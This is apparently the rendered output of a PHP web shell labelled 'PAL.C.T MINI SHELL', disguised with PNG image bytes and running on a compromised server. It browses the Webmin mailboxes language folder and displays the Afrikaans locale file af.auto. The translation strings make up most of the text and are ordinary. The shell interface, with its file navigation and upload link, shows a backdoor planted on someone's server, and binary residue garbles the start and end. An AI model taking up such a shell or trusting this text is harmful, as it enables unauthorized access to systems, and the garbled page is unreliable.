php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/mailboxes/lang/
upload
files >> //usr/libexec/webmin/mailboxes/lang/af.auto

index_title=Lees gebruikerspos
index_none=U mag nie e-pos vir enige gebruikers op hierdie stelsel lees nie.
index_header=Gebruiker se posbusse
index_empty=Geen pos nie
index_return=gebruikerslys
index_esystem=Nie een van die ondersteunde e-posbedieners (Exim, Qmail, Postfix en Sendmail) is op u stelsel opgespoor nie. U moet die <a href='$1'>modulekonfigurasie</a> aanpas om die e-posbediener en moontlik die pospaaie met die hand in te stel.
index_esystem2=Die e-posbediener wat in die <a href='$1'>module-opstelling</a> gestel is, is nie op u stelsel gevind nie. U moet die konfigurasie aanpas om die regte bediener te gebruik.
index_esystem3=Kon nie die e-posstelsel in die <a href='$1'>module-opstelling</a> kontak nie: $2.
index_system6=Posbediener: Exim
index_system5=Posbediener: Qmail+VPopMail
index_system4=Posbediener: Qmail+LDAP
index_system2=Posbediener: Qmail
index_system1=Posbediener: Sendmail
index_system0=Posbediener: Postfix
index_toomany=Daar is te veel gebruikers op u stelsel om op een bladsy te vertoon.
index_find=Soek gebruikers waar gebruikersnaam
index_equals=gelykes
index_contains=bevat
index_eperl=Die Perl-module $1 wat nodig is vir die geselekteerde SMTP-verifikasiemodus, is nie geïnstalleer nie of ontbreek 'n afhanklike module. <a href='$2'>Klik hier</a> om dit nou te installeer.
index_file=Lees Mail in File of Maildir:
index_nousers=Geen gebruikers is gevind nie!
index_nousersmail=Geen gebruikers met e-pos is gevind nie.

mail_title=Gebruiker e-pos
mail_from=Van
mail_date=datum
mail_subject=Vak
mail_to=om
mail_cc=cc
mail_bcc=Bcc
mail_pri=prioriteit
mail_highest=hoogste
mail_high=hoë
mail_normal=Normaal
mail_low=lae
mail_lowest=laagste
mail_for=In $1
mail_for2=Vir gebruiker $1
mail_sent=In gestuurde poslys
mail_size=grootte
mail_level=telling
mail_delete=Delete
mail_compose=Komponeer
mail_open=oop
mail_return=gebruikersposbus
mail_pos=Boodskappe $1 tot $2 van $3 in $4
mail_none=Hierdie gebruiker het geen boodskappe in $1
mail_ecannot=U mag nie die gebruiker se e-pos lees nie
mail_all=Kies alles.
mail_invert=Keer die keuse om.
mail_nosort=Stel sorteer weer in.
mail_search=Soek boodskappe waar
mail_body=liggaam
mail_match=wedstryde
mail_ok=Soek
mail_nonefrom=Geen
mail_mark=Merk as:
mail_mark0=ongelees
mail_mark1=Lees
mail_mark2=spesiale
mail_forward=vorentoe
mail_move=Skuif na:
mail_copy=Kopieer na:
mail_rfc=Van lyn af
mail_eexists=Boodskap bestaan nie meer nie!
mail_fchange=verandering
mail_indexlink=Keer terug na die posbus
mail_deleteall=Vee alles uit
mail_black=Ontken senders
mail_white=Laat senders toe
mail_whitemove=Laat senders en inkassie toe
mail_efile=Poslêer bestaan nie
mail_fromsrch=Soek e-pos met dieselfde sender
mail_subsrch=Soek e-pos met dieselfde onderwerp
mail_tosrch=Soek e-pos met die ontvanger
mail_fromfilter=Skep filter volgens sender
mail_tofilter=Skep filter volgens ontvanger
mail_subfilter=Skep filter volgens onderwerp
mail_unknown=onbekend

mail_sign=Teken met sleutel
mail_nosign=&lt;Moenie teken nie&gt;
mail_crypt=Enkripteer vir
mail_nocrypt=&lt;Moenie enkripteer&gt; nie
mail_samecrypt=&lt;Sleutels vanaf bestemmingsadresse&gt;
mail_addresses=Bestuur adresboek
mail_folders=Bestuur dopgehou
mail_err=Kon nie e-pos in hierdie vouer lys nie : $1
mail_loginheader=POP3-bedieneraanmelding
mail_loginheader2=IMAP-bedieneraanmelding
mail_logindesc=U moet 'n gebruikersnaam en wagwoord invoer om toegang tot e-pos in u inkassie op die e-posbediener $1 te verkry.
mail_loginuser=Gebruikersnaam
mail_loginpass=wagwoord
mail_loginmailbox=IMAP-posbus
mail_login=Teken aan
mail_reset=duidelik
mail_logout=Verander POP3-aanmelding
mail_logout2=Verander IMAP-aanmelding
mail_sig=Wysig handtekening
mail_jump=Spring na bladsy :
mail_of=van
mail_replyto=Antwoord op
mail_folder=gids
mail_delall=Vee alles uit
mail_deltrash=Asblik leeg is
mail_search2=Soek vir:
mail_search3=Vind met die telling hierbo:
mail_advanced=Gevorderde soektog
mail_return2=Gebruiker e-pos
mail_esystem=Kon nie die posstelsel kontak nie: $1. Die stelseladministrateur moet dit regstel.
mail_selread=Kies lees.
mail_selunread=Kies ongelees.
mail_selspecial=Kies spesiaal.
mail_specialsync=Sync Spesiaal

view_title=Lees e-pos
view_desc=Boodskap $1 in $2
view_desc2=Boodskap $1 vir gebruiker $2
view_desc3=Boodskap $1
view_sent=Boodskap $1 in die gestuurde poslys
view_qdesc=Boodskap in die ry $1
view_headers=Posopskrifte
view_body=Boodskapinhoud
view_nobody=Hierdie boodskap het geen inhoud van die liggaam nie.
view_allheaders=Bekyk alle opskrifte
view_noheaders=Kyk na basiese opskrifte
view_attach=aanhegsels
view_afile=Aanhegselnaam
view_atype=Aanhangsel tipe
view_aactions=aksies
view_aview=Beskou
view_aopen=oop
view_asave=Save
view_aplain=rou
view_anofile=Geen lêernaam nie
view_asize=Lêergrootte
view_reply=antwoord
view_reply2=Antwoord alles
view_enew=Wysig as nuut
view_forward=vorentoe
view_delete=Delete
view_print=Print
view_strip=Verwyder aanhegsels
view_ecannot=U mag nie die gebruiker se e-pos lees nie
view_mark=Merk as:
view_mark0=ongelees
view_mark1=Lees
view_mark2=spesiale
view_markas0=ongelees
view_markas1=Lees
view_markas2=spesiale
view_return=oorspronklike e-pos
view_sub=Aangehegde e-posadres
view_sub2=Aangehegde e-posadres van $1
view_egone=Hierdie boodskap bestaan nie meer nie
view_eugone=Hierdie gebruiker bestaan nie

view_gnupg=GnuPG-handtekeningverifikasie
view_gnupg_0=Handtekening deur $1 is geldig.
view_gnupg_1=Handtekening deur $1 is geldig, maar vertroue ketting kon nie vasgestel word nie.
view_gnupg_2=Handtekening deur $1 is <b>NIE</b> geldig nie.
view_gnupg_3=Sleutel-ID $1 is nie in u lys nie, so u kon nie handtekening bevestig nie.
view_gnupg_4=Kon nie handtekening verifieer nie : $1
view_crypt=GnuPG-e-pos dekripsie
view_crypt_1=Boodskap is geïnkripteer, maar GnuPG-ondersteuning is nie geïnstalleer nie.
view_crypt_2=Kon nie boodskap dekodeer nie : $1
view_crypt_3=Pos is suksesvol ontsyfer.
view_crypt_4=Geënkripteerde gedeelte van die boodskap is suksesvol ontsyfer.
view_recv=<a href='$2'>Haal sleutel-ID $1 van sleutelserver</a>.
view_folder=Keer terug na die posbus
view_dheader=Maak die aanhegsel aan die bediener los
view_detach=Maak lêer los:
view_dall=&lt;Alle lêers&gt;
view_dir=na die bedienerlêer of -gids:
view_black=Ontken sender
view_white=Laat sender toe
view_whitemove=Laat sender en inkassie toe
view_razor=Rapporteer gemorspos
view_ham=Rapporteer Ham
view_hammove=Rapporteer Ham en Inbox
view_razordel=Vee strooipos uit
view_dstatus=Afleweringsstatus misluk
view_dstatusok=Suksesvolle afleweringstatus
view_final-recipient=Finale ontvanger
view_diagnostic-code=Rede vir mislukking
view_remote-mta=Afstandposbediener
view_reporting-mta=Rapporteer e-posbediener
view_astext=Bekyk as teks
view_ashtml=Bekyk as HTML
view_images=Wys prente
view_raw=Kyk na rou boodskap
view_aall=Stoor alle aanhangsels as zip.
view_aslideshow=Wys alle prente.

compose_title=Skryf e-pos

reply_title=Antwoord op e-pos
forward_title=Stuur e-pos
enew_title=Redigeer e-pos
reply_headers=Posopskrifte
reply_attach=Aanstuurde aanhegsels
reply_mailforward=Gestuurde boodskappe
reply_attach2=Aanhangsels van die kliënt en bediener
reply_attach3=Aanhegsels opgelaai
reply_send=Stuur pos
reply_ecannot=U mag nie e-pos as hierdie gebruiker stuur nie
reply_body=Boodskap teks
reply_errc=Kon nie e-pos kopieër nie
reply_errm=Kon nie e-pos skuif nie
reply_return=skryf pos
reply_efwdnone=Nie een van die aangestuurde boodskappe bestaan nie
reply_dsn=Versoek om die status van kennisgewing?
reply_del=Versoek afleweringstatus-kennisgewing?
reply_aboot=Voeg ontvangers by die adresboek?
reply_tabfrom=Van
reply_tabto=om
reply_tabreplyto=Antwoord op
reply_tabcc=cc
reply_tabbcc=Bcc
reply_tabsigning=ondertekening
reply_taboptions=opsies
reply_addattach=Voeg aanhegselsveld by.
reply_addssattach=Voeg aanhegselsveld aan die bedkant by.
reply_html0=Komponeer teks
reply_html1=Stel HTML op

reply_spell=Kyk vir spelfoute?
reply_draft=Stoor as konsep
reply_save=Stoor en redigeer

send_err=Kon nie e-pos stuur nie
send_eto=Ontbreek aan adres
send_efrom=Ontbreek vanaf adres
send_esubject=E-posonderwerp ontbreek
send_title=Pos gestuur
send_title2=Pos gestoor
send_ok=E-pos suksesvol gestuur na $1
send_sending=Stuur e-pos na $1 ..
send_ecannot=U mag nie e-pos as hierdie gebruiker stuur nie
send_esmtp=SMTP-opdrag $1 misluk : $2
send_eattach=Aanhangsels kan nie meer as $1 kB groot wees nie.
send_eperms=Gebruiker $1 kan nie $2 lees nie
send_eperms2=U mag nie lêer $1 stuur nie
send_epath=Sendmail-uitvoerbare $1 bestaan nie.
send_efile=Kon nie aanhangsel $1 : $2 lees nie
send_done=.. klaar.

send_epass=U kan nie 'n boodskap onderteken nie, omdat u wagwoordfrase nog nie in die GnuPG-module opgestel is nie.
send_esign=Kon nie boodskap onderteken nie : $1
send_ekey=Kon nie die sleutel vir e-posadres $1 vind nie
send_ecrypt=Kon nie die boodskap enkripteer nie : $1
send_eword=Verkeerde verkeerde woord $1
send_eword2=Verkeerde woorde $1 - moontlike regstellings $2
send_eline=In lyn $1 :
send_espell=Die volgende spelfoute is in u boodskap gevind.
send_draft=Pos na $1 gestoor in die konsepmap.
send_drafting=Stoor e-pos na $1 in die konsepmap ..
send_eattachsize=Die e-posaanhangsel het die maksimum toegelate grootte van $1 grepe oorskry

delete_title=Vee pos uit
delete_rusure=Is u seker dat u die $1 geselekteerde boodskappe uit $2 wil verwyder? Dit kan 'n tydjie neem vir 'n groot poslêer. Totdat die skrap klaar is, moet geen ander aksie uitgevoer word nie.
delete_rusure2=Is u seker dat u hierdie boodskap van $1 wil verwyder? Dit kan 'n tydjie neem vir 'n groot poslêer. Totdat die skrap klaar is, moet geen ander aksie uitgevoer word nie.
delete_ok=Vee nou uit
delete_ecannot=U mag nou e-pos van hierdie gebruiker uitvee
delete_enone=Geen e-pos gekies om uit te vee nie
delete_emnone=Geen e-pos gekies om te merk nie
delete_efnone=Geen e-pos gekies om aan te stuur nie
delete_ebnone=Geen e-pos gekies om te weier nie
delete_ewnone=Geen e-pos gekies om toe te laat nie
delete_ernone=Geen e-pos gekies om as strooipos aan te meld nie
delete_ehnone=Geen pos gekies om as ham aan te meld nie
delete_emoveuser=Gebruiker om e-pos te skuif bestaan nie
delete_ecopyuser=Gebruiker om e-pos te kopieër bestaan nie
delete_emovecannot=U mag nie e-pos na die gespesifiseerde gebruiker skuif nie
delete_ecopycannot=U mag nie e-pos na die gespesifiseerde gebruiker kopieer nie
delete_emovenone=Geen e-pos gekies om te skuif nie
delete_ecopynone=Geen e-pos gekies om te kopieër nie
delete_nobutton=Geen knoppie geklik nie
delete_ereport=Kon nie as strooipos rapporteer nie : $1
delete_errc=Kon nie e-pos kopieër nie
delete_errm=Kon nie e-pos skuif nie

confirm_title=Bevestig verwyder
confirm_warn=Is u seker dat u die $1 geselekteerde boodskappe uit hierdie gids wil verwyder?
confirm_warnf=Is u seker dat u die $1 geselekteerde boodskappe uit die vouer <b>$2</b> wil verwyder?
confirm_warn2=As gevolg van die grootte en formaat van u posbus, kan dit 'n geruime tyd duur. Totdat die skrap klaar is, moet geen ander aksie uitgevoer word nie.
confirm_warn3=Is u seker dat u hierdie boodskap wil uitvee?
confirm_warn4=Totdat die skrap klaar is, moet geen ander aksie uitgevoer word nie.
confirm_ok=Vee nou uit
confirm_warnall=Is u seker dat u al die boodskappe in hierdie vouer wil uitvee?
confirm_warnallf=Is u seker dat u al die boodskappe in die vouer <b>$1</b> wil uitvee?

search_title=Soek Resultate
search_ecannot=U mag nie die e-pos van hierdie gebruiker deursoek nie
search_ematch=U moet teks invoer om mee te stem.
search_escore=Ontbrekende of ongeldige spam-telling
search_efield=U moet 'n soektipe kies.
search_ewhat=Geen teks om mee te pas nie, is ingevoer vir ry $1
search_enone=Geen soekkriteria is ingevoer nie
search_none=Geen boodskappe gevind nie.
search_results2=$1 e-posboodskappe wat ooreenstem met $2
search_results3=$1 e-posboodskappe stem nie ooreen nie $2
search_results4=$1 e-posboodskappe wat ooreenstem met u soektog
search_results5=$1 e-posboodskappe waar $2 ooreenstem met $3
search_msg2=Soekresultate vir $1
search_msg4=Soek Resultate
search_msg5=Soek resultate vir strooipos met 'n telling $1
search_msg6=Soekresultate vir $1 in $2 -veld
search_local=In plaaslike dopgehou
search_all=In alle dopgehou
search_limit=(van die laaste $1 boodskappe)
search_status=Met status
search_attach=Moet aanhangsels wees?
search_allstatus=Enige
search_onestatus=Slegs status
search_latest=Boodskappe om te soek
search_nolatest=Alles in die lêergids
search_latestnum=Slegs nuutste
search_elatest=Ontbrekende of ongeldige aantal boodskappe om te soek
search_withstatus=, met status $1

folder_inbox=posbus
folder_sent=Gestuurde pos
folder_drafts=Drafts
folder_trash=asblik

detach_err=Kon nie lêer verwyder nie
detach_edir=Geen lêer of gids om in te voer nie
detach_eopen=Kon nie $1 oopmaak nie : $2
detach_ewrite=Kon nie aan $1 skryf nie : $2
detach_title=Maak lêer los
detach_ok=Aanhegsel aan die lêer aan die serverkant $1 ($2) geskryf.

sform_title=Gevorderde soektog
sform_header=Gevorderde e-posopsies
sform_andmode=Kriteria-modus
sform_and=Soek boodskappe wat aan al die kriteria hieronder voldoen.
sform_or=Soek boodskappe stem ooreen met die onderstaande kriteria.
sform_neg0=bevat
sform_neg1=bevat nie
sform_ok=Soek nou
sform_folder2=Soek in vouer (s)
sform_all=&lt;Alle gidse&gt;
sform_local=&lt;Plaaslike gidse&gt;
sform_where=waar
sform_text=die teks
sform_from=Van: kop
sform_subject=Onderwerp: kop
sform_to=Aan: kop
sform_cc=Cc: kop
sform_bcc=Bcc: kop
sform_date=Datum: kop
sform_body=boodskapliggaam
sform_headers=enige kop
sform_allmsg=hele boodskap
sform_size=boodskapgrootte
sform_return=gevorderde soekvorm

find_enone=Geen gebruikers wat ooreenstem met u soektog is gevind nie
find_title=Soek Resultate
find_results=Gebruikers wat ooreenstem met soek na $1 ..
find_user=Gebruikersnaam
find_real=Regte naam
find_group=groep
find_home=Tuisgids
find_size=Posgrootte
find_incount=e-pos
find_sentcount=gestuur
find_fcount=dopgehou
find_in=$1 in $2

acl_none=Geen
acl_same=Gebruiker met dieselfde naam
acl_all=Almal
acl_read=Gebruikers wie se e-pos gelees kan word
acl_users=Slegs gebruikers
acl_userse=Almal behalwe gebruikers
acl_usersg=Lede van groepe
acl_from=Toelaatbaar vanaf adresse
acl_any=Enige adres
acl_fdoms=Posbus @ domeine
acl_faddrs=Genoteerde adresse
acl_fdom=Enige adres @ domein
acl_fromname=Regte naam vir vanaf adres
acl_apath=Beperk lêers en program tot gids
acl_attach=Maksimum totale aanhangselsgrootte
acl_unlimited=Unlimited
acl_sent=Stoor gestuurde pos in die posbus
acl_canattach=Kan lêers aan die bedkant gekoppel word?
acl_candetach=Kan lêers van die bediener verwyder word?
acl_usersm=Gebruikers wat ooreenstem
acl_asame=Dieselfde as gebruikersnaam
acl_usersu=Met UID binne bereik
acl_sec=Sluit sekondêre groepe in?
acl_dir=Kan e-poslêers in die gids lees
acl_dirauto=Besluit outomaties (oral waar alle gebruikers sigbaar is, nêrens anders nie)

log_delmail=$1 boodskappe van $2 uitgevee
log_movemail=$1 boodskappe van $2 na $3 geskuif
log_copymail=$1 boodskappe van $2 na $3 gekopieër
log_send=Stuur e-pos na $1
log_read=Lees pos vir $1

emodified=Hierdie lêergids is gewysig sedert dit laas gekyk is! Keer terug na die <a href='$1'>e-poslys</a> en probeer weer.

razor_title=Rapporteer as strooipos
razor_title2=Verslagdoening as Ham
razor_report=Rapporteer hierdie boodskap aan Razor en ander SpamAssassin-spam databasisse.
razor_report2=Rapporteer die geselekteerde boodskappe aan Razor en ander SpamAssassin-spamblokkeerdatabasisse.
razor_report3=Die verwydering van die geselekteerde boodskappe aan Razor en ander SpamAssassin-spamblokkeringsdatabasisse.
razor_done=.. klaar
razor_err=.. misluk! Kyk na die foutboodskap hierbo om die rede.
razor_moved=.. klaar, en geskuif na map $1.
razor_deleted=.. klaar, en ook boodskap uitgevee.

ham_title=Verslagdoening as Ham
ham_report=Rapporteer hierdie boodskap as nie-strooipos by Razor en ander SpamAssassin-databasisse.

black_title=Afsender ontken
black_done=Het die e-posadres $1 bygevoeg tot SpamAssassin se lys van ontken adresse.
black_already=Die e-posadres $1 is reeds op SpamAssassin se lys van ontken adresse.

white_title=Laat die sender toe
white_done=Het die e-posadres $1 by die toegelate adreslys van SpamAssassin gevoeg.
white_already=Die e-posadres $1 is reeds op die toegelate adreslys van SpamAssassin.

ldap_emod=Perl-module ontbreek $1 wat nodig is om aan LDAP te koppel
ldap_econn=Kon nie aan LDAP-bediener $1 poort $2 koppel nie
ldap_elogin=Kon nie bind aan LDAP-bediener $1 as $2 : $3 
ldap_ehost=Geen LDAP-bediener is in die module-opstelling gestel nie
ldap_eport=Geen geldige LDAP-bedienerspoort is in die module-opstelling gestel nie
ldap_euser=Geen LDAP-aanmelding is in die module-opstelling gestel nie
ldap_ebase=Geen LDAP-basis-DN is in die module-opstelling gestel nie

delall_title=Vee alle pos uit
delall_rusure=Is u seker dat u alle e-pos vanaf $1 wil uitvee? $2 boodskappe van altesaam $3 sal vir ewig uitgevee word.
delall_ok=Vee nou uit

slide_title=Aangehegte prente
slide_prev=vorige
slide_next=volgende

left_mail=pos
left_search=Soek:
left_folders=Bestuur dopgehou
left_addresses=Adres boek
left_prefs=Posvoorkeure
left_forward=Stuur e-pos
left_autoreply=Outomatiese antwoord
left_filter=E-posfilters
left_pass=Verander wagwoord
left_sig=Wysig handtekening
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`